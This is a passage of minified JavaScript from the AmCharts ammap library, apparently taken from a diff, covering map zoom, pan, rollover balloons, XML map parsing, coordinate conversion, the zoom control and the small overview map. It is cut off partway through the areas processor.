a.objectType&&isNaN(a.zoomX)&&isNaN(a.zoomY)&&isNaN(a.zoomLatitude)&&isNaN(a.zoomLongitude)&&!isNaN(a.latitude)&&!isNaN(a.longitude)&&this.zoomToLongLat(a.zoomLevel,a.longitude,a.latitude);"MapArea"==a.objectType&&(e=a.displayObject.getBBox(),b=this.mapScale,c=e.x*b,d=e.y*b,f=e.width*b,e=e.height*b,h=a.autoZoomReal&&isNaN(a.zoomLevel)?f/h>e/k?0.8*h/f:0.8*k/e:a.zoomLevel,k=this.zoomControl,h=AmCharts.fitToBounds(h,k.minZoomLevel,k.maxZoomLevel),isNaN(a.zoomX)&&isNaN(a.zoomY)&&isNaN(a.zoomLatitude)&&
|
164 |
+
isNaN(a.zoomLongitude)&&(a=this.mapSet.getBBox(),this.zoomToMapXY(h,-a.x*b+c+f/2,-a.y*b+d+e/2)))},zoomToSelectedObject:function(){this.zoomToObject(this.selectedObject)},zoomTo:function(a,b,c,d){var f=this.zoomControl;a=AmCharts.fitToBounds(a,f.minZoomLevel,f.maxZoomLevel);f=this.zoomLevel();isNaN(b)&&(b=this.realWidth/this.mapWidth,b=(this.zoomX()-0.5*b)*(a/f)+0.5*b);isNaN(c)&&(c=this.realHeight/this.mapHeight,c=(this.zoomY()-0.5*c)*(a/f)+0.5*c);this.stopAnimation();isNaN(a)||(f=this.mapContainer,
|
165 |
+
this.initialX=f.x,this.initialY=f.y,this.initialScale=f.scale,this.finalX=this.mapWidth*b,this.finalY=this.mapHeight*c,this.finalScale=a,this.finalX!=this.initialX||this.finalY!=this.initialY||this.finalScale!=this.initialScale?d?(this.tweenPercent=1,this.rescaleMapAndObjects(),this.wheelBusy=!1):this.animateMap():this.wheelBusy=!1)},loadXml:function(a){var b;b=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP");b.overrideMimeType&&b.overrideMimeType("text/xml");b.open("GET",
|
166 |
+
a,!1);b.send();this.parseXMLObject(b.responseXML);this.svgData&&this.buildEverything()},stopAnimation:function(){this.frame=this.totalFrames},processObjects:function(){var a=this.container,b=this.stageImagesContainer;b&&b.remove();this.stageImagesContainer=b=a.set();this.trendLinesSet.push(b);var c=this.stageLinesContainer;c&&c.remove();this.stageLinesContainer=c=a.set();this.trendLinesSet.push(c);var d=this.mapImagesContainer;d&&d.remove();this.mapImagesContainer=d=a.set();this.mapContainer.push(d);
|
167 |
+
var f=this.mapLinesContainer;f&&f.remove();this.mapLinesContainer=f=a.set();this.mapContainer.push(f);this.linesAboveImages?(d.toFront(),b.toFront(),f.toFront(),c.toFront()):(f.toFront(),c.toFront(),d.toFront(),b.toFront());if(a=this.selectedObject)this.imagesProcessor.reset(),this.linesProcessor.reset(),this.linesAboveImages?(this.imagesProcessor.process(a),this.linesProcessor.process(a)):(this.linesProcessor.process(a),this.imagesProcessor.process(a));this.rescaleObjects()},processAreas:function(){this.areasProcessor.process(this.dataProvider)},
|
168 |
+
buildSVGMap:function(){var a=this.svgData.g.path,b=this.container,c=b.set();void 0===a.length&&(a=[a]);var d;for(d=0;d<a.length;d++){var f=a[d],e=f.title,g=b.path(f.d);g.id=f.id;this.svgAreasById[f.id]={area:g,title:e,className:f["class"]};this.svgAreas.push(g);c.push(g)}this.mapSet=c;this.mapContainer.push(c);this.resizeMap()},addObjectEventListeners:function(a,b){var c=this;a.mouseup(function(a){c.clickMapObject(b,a)}).mouseover(function(a){c.rollOverMapObject(b,!0,a)}).mouseout(function(a){c.rollOutMapObject(b,
|
169 |
+
a)}).touchend(function(a){c.clickMapObject(b,a)}).touchstart(function(a){c.rollOverMapObject(b,!0,a)})},checkIfSelected:function(a){var b=this.selectedObject;if(b==a)return!0;if(b=b.groupId){var b=this.getGroupById(b),c;for(c=0;c<b.length;c++)if(b[c]==a)return!0}return!1},clearMap:function(){this.chartDiv.innerHTML="";this.clearObjectList()},clearObjectList:function(){var a=this.objectList;a&&a.div&&(a.div.innerHTML="")},checkIfLast:function(a){if(a){var b=a.parentNode;if(b&&b.lastChild==a)return!0}return!1},
|
170 |
+
showAsRolledOver:function(a){var b=a.displayObject;if(!a.showAsSelected&&b&&!a.isOver){b.node.onmouseout=function(){};b.node.onmouseover=function(){};b.node.onclick=function(){};a.isFirst||(b.toFront(),a.isFirst=!0);var c=a.rollOverColorReal,d;if(void 0!=c)if("MapImage"==a.objectType)(d=a.image)&&d.setAttr("fill",c);else if("MapLine"==a.objectType){if((d=a.lineSvg)&&d.setAttr("stroke",c),d=a.arrowSvg)d.setAttr("fill",c),d.setAttr("stroke",c)}else b.setAttr("fill",c);(c=a.imageLabel)&&!a.labelInactive&&
|
171 |
+
(d=a.labelRollOverColorReal,void 0!=d&&c.setAttr("fill",d));c=a.rollOverOutlineColorReal;void 0!=c&&("MapImage"==a.objectType?(d=a.image)&&d.setAttr("stroke",c):b.setAttr("stroke",c));if("MapArea"==a.objectType){c=this.areasSettings;d=a.rollOverAlphaReal;isNaN(d)||b.setAttr("fill-opacity",d);d=c.rollOverOutlineAlpha;isNaN(d)||b.setAttr("stroke-opacity",d);d=1;this.areasSettings.adjustOutlineThickness&&(d=this.zoomLevel());var f=c.rollOverOutlineThickness;isNaN(f)||b.setAttr("stroke-width",f/d);(c=
|
172 |
+
c.rollOverPattern)&&b.pattern(c,this.mapScale)}"MapImage"==a.objectType&&(c=a.rollOverScaleReal,isNaN(c)||1==c||(a.tempScale=b.scale,b.translate(b.x,b.y,b.scale*c,!0)));this.useHandCursorOnClickableOjects&&this.checkIfClickable(a)&&b.setAttr("cursor","pointer");this.addObjectEventListeners(b,a);a.isOver=!0}},rollOverMapObject:function(a,b,c){if(this.chartCreated){this.handleMouseMove();var d=this.previouslyHovered;d&&d!=a?(!1===this.checkIfSelected(d)&&(this.returnInitialColor(d,!0),this.previouslyHovered=
|
173 |
+
null),this.hideBalloon()):clearTimeout(this.hoverInt);if(!this.preventHover){if(!1===this.checkIfSelected(a)){if(d=a.groupId){var d=this.getGroupById(d),f;for(f=0;f<d.length;f++)d[f]!=a&&this.showAsRolledOver(d[f])}this.showAsRolledOver(a)}else(d=a.displayObject)&&(this.allowClickOnSelectedObject?d.setAttr("cursor","pointer"):d.setAttr("cursor","default"));if(this.showDescriptionOnHover)this.showDescription(a);else if((this.showBalloonOnSelectedObject||!this.checkIfSelected(a))&&!1!==b&&(f=this.balloon,
|
174 |
+
b=a.colorReal,d="",void 0!==b&&this.useObjectColorForBalloon||(b=f.fillColor),(f=a.balloonTextReal)&&(d=this.formatString(f,a)),this.balloonLabelFunction&&(d=this.balloonLabelFunction(a,this)),d&&""!==d)){var e,g;"MapArea"==a.objectType&&(g=this.getAreaCenterLatitude(a),e=this.getAreaCenterLongitude(a),g=this.latitudeToY(g),e=this.longitudeToX(e));this.showBalloon(d,b,this.mouseIsOver,e,g)}c={type:"rollOverMapObject",mapObject:a,chart:this,event:c};this.fire(c.type,c);this.previouslyHovered=a}}},
|
175 |
+
longitudeToX:function(a){return this.longitudeToCoordinate(a)*this.zoomLevel()+this.mapContainer.x},latitudeToY:function(a){return this.latitudeToCoordinate(a)*this.zoomLevel()+this.mapContainer.y},rollOutMapObject:function(a,b){this.hideBalloon();if(this.chartCreated&&a.isOver){this.checkIfSelected(a)||this.returnInitialColor(a);var c={type:"rollOutMapObject",mapObject:a,chart:this,event:b};this.fire(c.type,c)}},formatString:function(a,b){var c=this.nf,d=this.pf,f=b.title;void 0==f&&(f="");var e=
|
176 |
+
b.value,e=isNaN(e)?"":AmCharts.formatNumber(e,c),c=b.percents,c=isNaN(c)?"":AmCharts.formatNumber(c,d),d=b.description;void 0==d&&(d="");var g=b.customData;void 0==g&&(g="");return a=AmCharts.massReplace(a,{"[[title]]":f,"[[value]]":e,"[[percent]]":c,"[[description]]":d,"[[customData]]":g})},clickMapObject:function(a,b){this.hideBalloon();if(this.chartCreated&&!this.preventHover&&!this.mapWasDragged&&this.checkIfClickable(a)&&!this.mapWasPinched){this.selectObject(a);var c={type:"clickMapObject",
|
177 |
+
mapObject:a,chart:this,event:b};this.fire(c.type,c);this.objectWasClicked=!0}},checkIfClickable:function(a){var b=this.allowClickOnSelectedObject;return this.selectedObject==a&&b?!0:this.selectedObject!=a||b?!0===a.selectable||"MapArea"==a.objectType&&a.autoZoomReal||a.url||a.linkToObject||0<a.images.length||0<a.lines.length||!isNaN(a.zoomLevel)||!isNaN(a.zoomX)||!isNaN(a.zoomY)||a.description?!0:!1:!1},handleResize:function(){(AmCharts.isPercents(this.width)||AmCharts.isPercents(this.height))&&this.invalidateSize();
|
178 |
+
this.renderFix()},resizeMap:function(){var a=this.mapSet;if(a)if(this.fitMapToContainer){var b=a.getBBox(),c=this.realWidth,d=this.realHeight,f=b.width,e=b.height,c=f/c>e/d?c/f:d/e;a.translate(-b.x*c,-b.y*c,c);this.mapScale=c;this.mapHeight=e*c;this.mapWidth=f*c}else b=group.transform.match(/([\-]?[\d.]+)/g),a.translate(b[0],b[1],b[2])},zoomIn:function(){this.skipClick=!0;var a=this.zoomLevel()*this.zoomControl.zoomFactor;this.zoomTo(a)},zoomOut:function(){this.skipClick=!0;var a=this.zoomLevel()/
|
179 |
+
this.zoomControl.zoomFactor;this.zoomTo(a)},moveLeft:function(){this.skipClick=!0;var a=this.zoomX()+this.zoomControl.panStepSize;this.zoomTo(this.zoomLevel(),a,this.zoomY())},moveRight:function(){this.skipClick=!0;var a=this.zoomX()-this.zoomControl.panStepSize;this.zoomTo(this.zoomLevel(),a,this.zoomY())},moveUp:function(){this.skipClick=!0;var a=this.zoomY()+this.zoomControl.panStepSize;this.zoomTo(this.zoomLevel(),this.zoomX(),a)},moveDown:function(){this.skipClick=!0;var a=this.zoomY()-this.zoomControl.panStepSize;
|
180 |
+
this.zoomTo(this.zoomLevel(),this.zoomX(),a)},zoomX:function(){return this.mapSet?Math.round(1E4*this.mapContainer.x/this.mapWidth)/1E4:NaN},zoomY:function(){return this.mapSet?Math.round(1E4*this.mapContainer.y/this.mapHeight)/1E4:NaN},goHome:function(){this.selectObject(this.dataProvider);var a={type:"homeButtonClicked",chart:this};this.fire(a.type,a)},zoomLevel:function(){return Math.round(1E5*this.mapContainer.scale)/1E5},showDescriptionAndGetUrl:function(){var a=this.selectedObject;if(a){this.showDescription();
|
181 |
+
var b=a.url;if(b)AmCharts.getURL(b,a.urlTarget);else if(b=a.linkToObject){if("string"==typeof b){var c=this.getObjectById(b);if(c){this.selectObject(c);return}}b&&a.passZoomValuesToTarget&&(b.zoomLatitude=this.zoomLatitude(),b.zoomLongitude=this.zoomLongitude(),b.zoomLevel=this.zoomLevel());this.extendMapData(b)||this.selectObject(b)}}},extendMapData:function(a){var b=a.objectType;if("MapImage"!=b&&"MapArea"!=b&&"MapLine"!=b)return AmCharts.extend(a,new AmCharts.MapData,!0),this.dataProvider=a,this.zoomInstantly=
|
182 |
+
!0,this.validateData(),!0},showDescription:function(a){a||(a=this.selectedObject);this.allowMultipleDescriptionWindows||this.closeAllDescriptions();if(a.description){var b=a.descriptionWindow;b&&b.close();b=new AmCharts.DescriptionWindow;a.descriptionWindow=b;var c=a.descriptionWindowWidth,d=a.descriptionWindowHeight,f=a.descriptionWindowX,e=a.descriptionWindowY;isNaN(f)&&(f=this.mouseX,f=f>this.realWidth/2?f-c-20:f+20);isNaN(e)&&(e=this.mouseY);b.maxHeight=d;b.show(this,this.descriptionsDiv,a.description,
|
183 |
+
a.title);a=b.div.style;a.width=c+"px";a.maxHeight=d+"px";a.left=f+"px";a.top=e+"px"}},parseXMLObject:function(a){var b={root:{}};this.parseXMLNode(b,"root",a);this.svgData=b.root.svg;this.getBounds()},getBounds:function(){var a=this.dataProvider;try{var b=this.svgData.defs["amcharts:ammap"];a.leftLongitude=Number(b.leftLongitude);a.rightLongitude=Number(b.rightLongitude);a.topLatitude=Number(b.topLatitude);a.bottomLatitude=Number(b.bottomLatitude);a.projection=b.projection}catch(c){}},latitudeToCoordinate:function(a){var b,
|
184 |
+
c=this.dataProvider;if(this.mapSet){b=c.topLatitude;var d=c.bottomLatitude;"mercator"==c.projection&&(a=this.mercatorLatitudeToCoordinate(a),b=this.mercatorLatitudeToCoordinate(b),d=this.mercatorLatitudeToCoordinate(d));b=(a-b)/(d-b)*this.mapHeight}return b},longitudeToCoordinate:function(a){var b,c=this.dataProvider;this.mapSet&&(b=c.leftLongitude,b=(a-b)/(c.rightLongitude-b)*this.mapWidth);return b},mercatorLatitudeToCoordinate:function(a){89.5<a&&(a=89.5);-89.5>a&&(a=-89.5);a=AmCharts.degreesToRadians(a);
|
185 |
+
a=0.5*Math.log((1+Math.sin(a))/(1-Math.sin(a)));return AmCharts.radiansToDegrees(a/2)},zoomLatitude:function(){return this.coordinateToLatitude((-this.mapContainer.y+this.previousHeight/2)/this.zoomLevel())},zoomLongitude:function(){return this.coordinateToLongitude((-this.mapContainer.x+this.previousWidth/2)/this.zoomLevel())},getAreaCenterLatitude:function(a){a=a.displayObject.getBBox();var b=this.mapScale;a=-this.mapSet.getBBox().y*b+(a.y+a.height/2)*b;return this.coordinateToLatitude(a)},getAreaCenterLongitude:function(a){a=
|
186 |
+
a.displayObject.getBBox();var b=this.mapScale;a=-this.mapSet.getBBox().x*b+(a.x+a.width/2)*b;return this.coordinateToLongitude(a)},coordinateToLatitude:function(a){var b;if(this.mapSet){var c=this.dataProvider,d=c.bottomLatitude,f=c.topLatitude;b=this.mapHeight;"mercator"==c.projection?(c=this.mercatorLatitudeToCoordinate(d),f=this.mercatorLatitudeToCoordinate(f),a=2*Math.atan(Math.exp(2*(a*(c-f)/b+f)*Math.PI/180))-0.5*Math.PI,b=AmCharts.radiansToDegrees(a)):b=a/b*(d-f)+f}return Math.round(1E6*b)/
|
187 |
+
1E6},coordinateToLongitude:function(a){var b,c=this.dataProvider;this.mapSet&&(b=a/this.mapWidth*(c.rightLongitude-c.leftLongitude)+c.leftLongitude);return Math.round(1E6*b)/1E6},milesToPixels:function(a){var b=this.dataProvider;return this.mapWidth/(b.rightLongitude-b.leftLongitude)*a/69.172},kilometersToPixels:function(a){var b=this.dataProvider;return this.mapWidth/(b.rightLongitude-b.leftLongitude)*a/111.325},handleBackgroundClick:function(a){if(this.backgroundZoomsToTop&&!this.mapWasDragged){var b=
|
188 |
+
this.dataProvider;if(this.checkIfClickable(b))this.clickMapObject(b);else{a=b.zoomX;var c=b.zoomY,d=b.zoomLongitude,f=b.zoomLatitude,b=b.zoomLevel;isNaN(a)||isNaN(c)||this.zoomTo(b,a,c);isNaN(d)||isNaN(f)||this.zoomToLongLat(b,d,f,!0)}}},parseXMLNode:function(a,b,c,d){void 0===d&&(d="");var f,e,g;if(c){var h=c.childNodes.length;for(f=0;f<h;f++){e=c.childNodes[f];var k=e.nodeName,l=e.nodeValue?this.trim(e.nodeValue):"",m=!1;e.attributes&&0<e.attributes.length&&(m=!0);if(0!==e.childNodes.length||""!==
|
189 |
+
l||!1!==m)if(3==e.nodeType||4==e.nodeType){if(""!==l){e=0;for(g in a[b])a[b].hasOwnProperty(g)&&e++;e?a[b]["#text"]=l:a[b]=l}}else if(1==e.nodeType){var n;void 0!==a[b][k]?void 0===a[b][k].length?(n=a[b][k],a[b][k]=[],a[b][k].push(n),a[b][k].push({}),n=a[b][k][1]):"object"==typeof a[b][k]&&(a[b][k].push({}),n=a[b][k][a[b][k].length-1]):(a[b][k]={},n=a[b][k]);if(e.attributes&&e.attributes.length)for(l=0;l<e.attributes.length;l++)n[e.attributes[l].name]=e.attributes[l].value;void 0!==a[b][k].length?
|
190 |
+
this.parseXMLNode(a[b][k],a[b][k].length-1,e,d+" "):this.parseXMLNode(a[b],k,e,d+" ")}}e=0;c="";for(g in a[b])"#text"==g?c=a[b][g]:e++;0===e&&void 0===a[b].length&&(a[b]=c)}},doDoubleClickZoom:function(){if(!this.mapWasDragged){var a=this.zoomLevel()*this.zoomControl.zoomFactor;this.zoomToStageXY(a,this.mouseX,this.mouseY)}},getDevInfo:function(){var a=this.zoomLevel(),a={chart:this,type:"writeDevInfo",zoomLevel:a,zoomX:this.zoomX(),zoomY:this.zoomY(),zoomLatitude:this.zoomLatitude(),zoomLongitude:this.zoomLongitude(),
|
191 |
+
latitude:this.coordinateToLatitude((this.mouseY-this.mapContainer.y)/a),longitude:this.coordinateToLongitude((this.mouseX-this.mapContainer.x)/a),left:this.mouseX,top:this.mouseY,right:this.realWidth-this.mouseX,bottom:this.realHeight-this.mouseY,percentLeft:Math.round(this.mouseX/this.realWidth*100)+"%",percentTop:Math.round(this.mouseY/this.realHeight*100)+"%",percentRight:Math.round((this.realWidth-this.mouseX)/this.realWidth*100)+"%",percentBottom:Math.round((this.realHeight-this.mouseY)/this.realHeight*
|
192 |
+
100)+"%"},b="zoomLevel:"+a.zoomLevel+", zoomLongitude:"+a.zoomLongitude+", zoomLatitude:"+a.zoomLatitude+"\n",b=b+("zoomX:"+a.zoomX+", zoomY:"+a.zoomY+"\n"),b=b+("latitude:"+a.latitude+", longitude:"+a.longitude+"\n"),b=b+("left:"+a.left+", top:"+a.top+"\n"),b=b+("right:"+a.right+", bottom:"+a.bottom+"\n"),b=b+('left:"'+a.percentLeft+'", top:"'+a.percentTop+'"\n'),b=b+('right:"'+a.percentRight+'", bottom:"'+a.percentBottom+'"\n');a.str=b;this.fire(a.type,a);return a},getXY:function(a,b,c){void 0!==
|
193 |
+
a&&(-1!=String(a).indexOf("%")?(a=Number(a.split("%").join("")),c&&(a=100-a),a=Number(a)*b/100):c&&(a=b-a));return a},getObjectById:function(a){var b=this.dataProvider;if(b.areas){var c=this.getObject(a,b.areas);if(c)return c}if(c=this.getObject(a,b.images))return c;if(a=this.getObject(a,b.lines))return a},getObject:function(a,b){if(b){var c;for(c=0;c<b.length;c++){var d=b[c];if(d.id==a)return d;if(d.areas){var f=this.getObject(a,d.areas);if(f)return f}if(f=this.getObject(a,d.images))return f;if(d=
|
194 |
+
this.getObject(a,d.lines))return d}}},parseData:function(){var a=this.dataProvider;this.processObject(a.areas,a,"area");this.processObject(a.images,a,"image");this.processObject(a.lines,a,"line")},processObject:function(a,b,c){if(a){var d;for(d=0;d<a.length;d++){var f=a[d];f.parentObject=b;"area"==c&&AmCharts.extend(f,new AmCharts.MapArea(this.theme),!0);"image"==c&&(f=AmCharts.extend(f,new AmCharts.MapImage(this.theme),!0));"line"==c&&(f=AmCharts.extend(f,new AmCharts.MapLine(this.theme),!0));a[d]=
|
195 |
+
f;f.areas&&this.processObject(f.areas,f,"area");f.images&&this.processObject(f.images,f,"image");f.lines&&this.processObject(f.lines,f,"line")}}},positionChanged:function(){var a={type:"positionChanged",zoomX:this.zoomX(),zoomY:this.zoomY(),zoomLevel:this.zoomLevel(),chart:this};this.fire(a.type,a)},getX:function(a,b){return this.getXY(a,this.realWidth,b)},getY:function(a,b){return this.getXY(a,this.realHeight,b)},trim:function(a){if(a){var b;for(b=0;b<a.length;b++)if(-1===" \n\r\t\f\x0B\u00a0\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u2028\u2029\u3000".indexOf(a.charAt(b))){a=
|
196 |
+
a.substring(b);break}for(b=a.length-1;0<=b;b--)if(-1===" \n\r\t\f\x0B\u00a0\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u2028\u2029\u3000".indexOf(a.charAt(b))){a=a.substring(0,b+1);break}return-1===" \n\r\t\f\x0B\u00a0\u2000\u2001\u2002\u2003\u2004\u2005\u2006\u2007\u2008\u2009\u200a\u200b\u2028\u2029\u3000".indexOf(a.charAt(0))?a:""}}});AmCharts.ZoomControl=AmCharts.Class({construct:function(a){this.cname="ZoomControl";this.panStepSize=0.1;this.zoomFactor=2;this.maxZoomLevel=64;this.minZoomLevel=1;this.zoomControlEnabled=this.panControlEnabled=!0;this.buttonRollOverColor="#CC0000";this.buttonFillColor="#990000";this.buttonFillAlpha=1;this.buttonBorderColor="#FFFFFF";this.buttonIconAlpha=this.buttonBorderThickness=this.buttonBorderAlpha=1;this.gridColor="#FFFFFF";this.homeIconFile="homeIcon.gif";this.gridBackgroundColor="#000000";
|
197 |
+
this.gridBackgroundAlpha=0.15;this.gridAlpha=1;this.buttonSize=18;this.iconSize=11;this.buttonCornerRadius=0;this.gridHeight=150;this.top=this.left=10;AmCharts.applyTheme(this,a,this.cname)},init:function(a,b){var c=this;c.chart=a;AmCharts.remove(c.set);var d=b.set();d.translate(a.getX(c.left),a.getY(c.top));var f=c.buttonSize,e=c.buttonFillColor,g=c.buttonFillAlpha,h=c.buttonBorderThickness,k=c.buttonBorderColor,l=c.buttonBorderAlpha,m=c.buttonCornerRadius,n=c.buttonRollOverColor,q=c.gridHeight,
|
198 |
+
p=c.zoomFactor,A=c.minZoomLevel,y=c.maxZoomLevel,s=c.buttonIconAlpha;c.previousDY=NaN;var r;if(c.zoomControlEnabled){r=b.set();d.push(r);c.set=d;c.zoomSet=r;var x=AmCharts.rect(b,f+6,q+2*f+6,c.gridBackgroundColor,c.gridBackgroundAlpha,0,0,0,4);x.translate(-3,-3);x.mouseup(function(){c.handleBgUp()});r.push(x);x=new AmCharts.SimpleButton;x.setIcon(a.pathToImages+"plus.gif",c.iconSize);x.setClickHandler(a.zoomIn,a);x.init(b,f,f,e,g,h,k,l,m,n,s);r.push(x.set);x=new AmCharts.SimpleButton;x.setIcon(a.pathToImages+
|
199 |
+
"minus.gif",c.iconSize);x.setClickHandler(a.zoomOut,a);x.init(b,f,f,e,g,h,k,l,m,n,s);x.set.translate(0,q+f);r.push(x.set);var u=Math.log(y/A)/Math.log(p)+1,x=q/u,w;for(w=1;w<u;w++){var t=f+w*x,t=AmCharts.line(b,[1,f-2],[t,t],c.gridColor,c.gridAlpha,1);r.push(t)}u=new AmCharts.SimpleButton;u.setDownHandler(c.draggerDown,c);u.setClickHandler(c.draggerUp,c);u.init(b,f,x,e,g,h,k,l,m,n);r.push(u.set);c.dragger=u.set;c.previousY=NaN;q-=x;A=Math.log(A/100)/Math.log(p);p=Math.log(y/100)/Math.log(p);c.realStepSize=
|
200 |
+
q/(p-A);c.realGridHeight=q;c.stepMax=p}c.panControlEnabled&&(p=b.set(),d.push(p),r&&r.translate(f,4*f),r=new AmCharts.SimpleButton,r.setIcon(a.pathToImages+"panLeft.gif",c.iconSize),r.setClickHandler(a.moveLeft,a),r.init(b,f,f,e,g,h,k,l,m,n,s),r.set.translate(0,f),p.push(r.set),r=new AmCharts.SimpleButton,r.setIcon(a.pathToImages+"panRight.gif",c.iconSize),r.setClickHandler(a.moveRight,a),r.init(b,f,f,e,g,h,k,l,m,n,s),r.set.translate(2*f,f),p.push(r.set),r=new AmCharts.SimpleButton,r.setIcon(a.pathToImages+
|
201 |
+
"panUp.gif",c.iconSize),r.setClickHandler(a.moveUp,a),r.init(b,f,f,e,g,h,k,l,m,n,s),r.set.translate(f,0),p.push(r.set),r=new AmCharts.SimpleButton,r.setIcon(a.pathToImages+"panDown.gif",c.iconSize),r.setClickHandler(a.moveDown,a),r.init(b,f,f,e,g,h,k,l,m,n,s),r.set.translate(f,2*f),p.push(r.set),g=new AmCharts.SimpleButton,g.setIcon(a.pathToImages+c.homeIconFile,c.iconSize),g.setClickHandler(a.goHome,a),g.init(b,f,f,e,0,0,k,0,m,n,s),g.set.translate(f,f),p.push(g.set),d.push(p))},draggerDown:function(){this.chart.stopDrag();
|
202 |
+
this.isDragging=!0},draggerUp:function(){this.isDragging=!1},handleBgUp:function(){var a=this.chart,b=100*Math.pow(this.zoomFactor,this.stepMax-(a.mouseY-this.zoomSet.y-this.set.y-this.buttonSize-this.realStepSize/2)/this.realStepSize);a.zoomTo(b)},update:function(){var a,b=this.zoomFactor,c=this.realStepSize,d=this.stepMax,f=this.dragger,e=this.buttonSize,g=this.chart;this.isDragging?(g.stopDrag(),a=f.y+(g.mouseY-this.previousY),a=AmCharts.fitToBounds(a,e,this.realGridHeight+e),c=100*Math.pow(b,
|
203 |
+
d-(a-e)/c),g.zoomTo(c,NaN,NaN,!0)):(a=Math.log(g.zoomLevel()/100)/Math.log(b),a=(d-a)*c+e);this.previousY=g.mouseY;this.previousDY!=a&&f&&(f.translate(0,a),this.previousDY=a)}});AmCharts.SimpleButton=AmCharts.Class({construct:function(){},init:function(a,b,c,d,f,e,g,h,k,l,m){var n=this;n.rollOverColor=l;n.color=d;l=a.set();n.set=l;d=AmCharts.rect(a,b,c,d,f,e,g,h,k);l.push(d);if(f=n.iconPath)e=n.iconSize,a=a.image(f,(b-e)/2,(c-e)/2,e,e),l.push(a),a.setAttr("opacity",m),a.mousedown(function(){n.handleDown()}).mouseup(function(){n.handleUp()}).mouseover(function(){n.handleOver()}).mouseout(function(){n.handleOut()});d.mousedown(function(){n.handleDown()}).mouseup(function(){n.handleUp()}).mouseover(function(){n.handleOver()}).mouseout(function(){n.handleOut()});
|
204 |
+
n.bg=d},setIcon:function(a,b){this.iconPath=a;this.iconSize=b},setClickHandler:function(a,b){this.clickHandler=a;this.scope=b},setDownHandler:function(a,b){this.downHandler=a;this.scope=b},handleUp:function(){var a=this.clickHandler;a&&a.call(this.scope)},handleDown:function(){var a=this.downHandler;a&&a.call(this.scope)},handleOver:function(){this.bg.setAttr("fill",this.rollOverColor)},handleOut:function(){this.bg.setAttr("fill",this.color)}});AmCharts.SmallMap=AmCharts.Class({construct:function(a){this.cname="SmallMap";this.mapColor="#e6e6e6";this.rectangleColor="#FFFFFF";this.top=this.right=10;this.minimizeButtonWidth=16;this.backgroundColor="#9A9A9A";this.backgroundAlpha=1;this.borderColor="#FFFFFF";this.borderThickness=3;this.borderAlpha=1;this.size=0.2;AmCharts.applyTheme(this,a,this.cname)},init:function(a,b){var c=this;c.chart=a;c.container=b;c.width=a.realWidth*c.size;c.height=a.realHeight*c.size;AmCharts.remove(c.set);var d=b.set();
|
205 |
+
c.set=d;var f=b.set();c.allSet=f;d.push(f);c.buildSVGMap();var e=c.borderThickness,g=c.borderColor,h=AmCharts.rect(b,c.width+e,c.height+e,c.backgroundColor,c.backgroundAlpha,e,g,c.borderAlpha);h.translate(-e/2,-e/2);f.push(h);h.toBack();var k,l,h=c.minimizeButtonWidth,m=new AmCharts.SimpleButton;m.setIcon(a.pathToImages+"arrowDown.gif",h);m.setClickHandler(c.minimize,c);m.init(b,h,h,g,1,1,g,1);m=m.set;c.downButtonSet=m;d.push(m);var n=new AmCharts.SimpleButton;n.setIcon(a.pathToImages+"arrowUp.gif",
|
206 |
+
h);n.setClickHandler(c.maximize,c);n.init(b,h,h,g,1,1,g,1);g=n.set;c.upButtonSet=g;g.hide();d.push(g);var q,p;isNaN(c.top)||(k=a.getY(c.top)+e,p=0);isNaN(c.bottom)||(k=a.getY(c.bottom,!0)-c.height-e,p=c.height-h+e/2);isNaN(c.left)||(l=a.getX(c.left)+e,q=-e/2);isNaN(c.right)||(l=a.getX(c.right,!0)-c.width-e,q=c.width-h+e/2);e=b.set();e.clipRect(1,1,c.width,c.height);f.push(e);c.rectangleC=e;d.translate(l,k);m.translate(q,p);g.translate(q,p);f.mouseup(function(){c.handleMouseUp()});c.drawRectangle()},
|
207 |
+
minimize:function(){this.downButtonSet.hide();this.upButtonSet.show();this.allSet.hide()},maximize:function(){this.downButtonSet.show();this.upButtonSet.hide();this.allSet.show()},buildSVGMap:function(){var a=this.chart,b={fill:this.mapColor,stroke:this.mapColor,"stroke-opacity":1},c=a.svgData.g.path,d=this.container,f=d.set(),e;for(e=0;e<c.length;e++){var g=d.path(c[e].d).attr(b);f.push(g)}this.allSet.push(f);b=f.getBBox();c=this.size*a.mapScale;d=-b.x*c;e=-b.y*c;var h=g=0;a.centerMap&&(g=(this.width-
|
208 |
+
b.width*c)/2,h=(this.height-b.height*c)/2);this.mapWidth=b.width*c;this.mapHeight=b.height*c;this.dx=g;this.dy=h;f.translate(d+g,e+h,c)},update:function(){var a=this.chart,b=a.zoomLevel(),c=this.width,d=a.mapContainer,a=c/(a.realWidth*b),c=c/b,b=this.height/b,f=this.rectangle;f.translate(-d.x*a+this.dx,-d.y*a+this.dy);0<c&&0<b&&(f.setAttr("width",c),f.setAttr("height",b));this.rWidth=c;this.rHeight=b},drawRectangle:function(){var a=this.rectangle;AmCharts.remove(a);a=AmCharts.rect(this.container,
|
209 |
+
10,10,"#000",0,1,this.rectangleColor,1);this.rectangleC.push(a);this.rectangle=a},handleMouseUp:function(){var a=this.chart,b=a.zoomLevel();a.zoomTo(b,-((a.mouseX-this.set.x-this.dx-this.rWidth/2)/this.mapWidth)*b,-((a.mouseY-this.set.y-this.dy-this.rHeight/2)/this.mapHeight)*b)}});AmCharts.AreasProcessor=AmCharts.Class({construct:function(a){this.chart=a},process:function(a){this.updateAllAreas();this.allObjects=[];a=a.areas;var b=this.chart,c,d=a.length,f,e,g=0,h=b.svgAreasById,k=0,l=0;for(f=0;f<d;f++)e=a[f],e=e.value,k<e&&(k=e),l>e&&(l=e),isNaN(e)||(g+=Math.abs(e));isNaN(b.minValue)||(l=b.minValue);isNaN(b.maxValue)||(k=b.maxValue);b.maxValueReal=k;b.minValueReal=l;for(f=0;f<d;f++)e=a[f],isNaN(e.value)?e.percents=void 0:e.percents=(e.value-l)/g*100;for(f=0;f<d;f++){e=a[f];
|
210 |
+
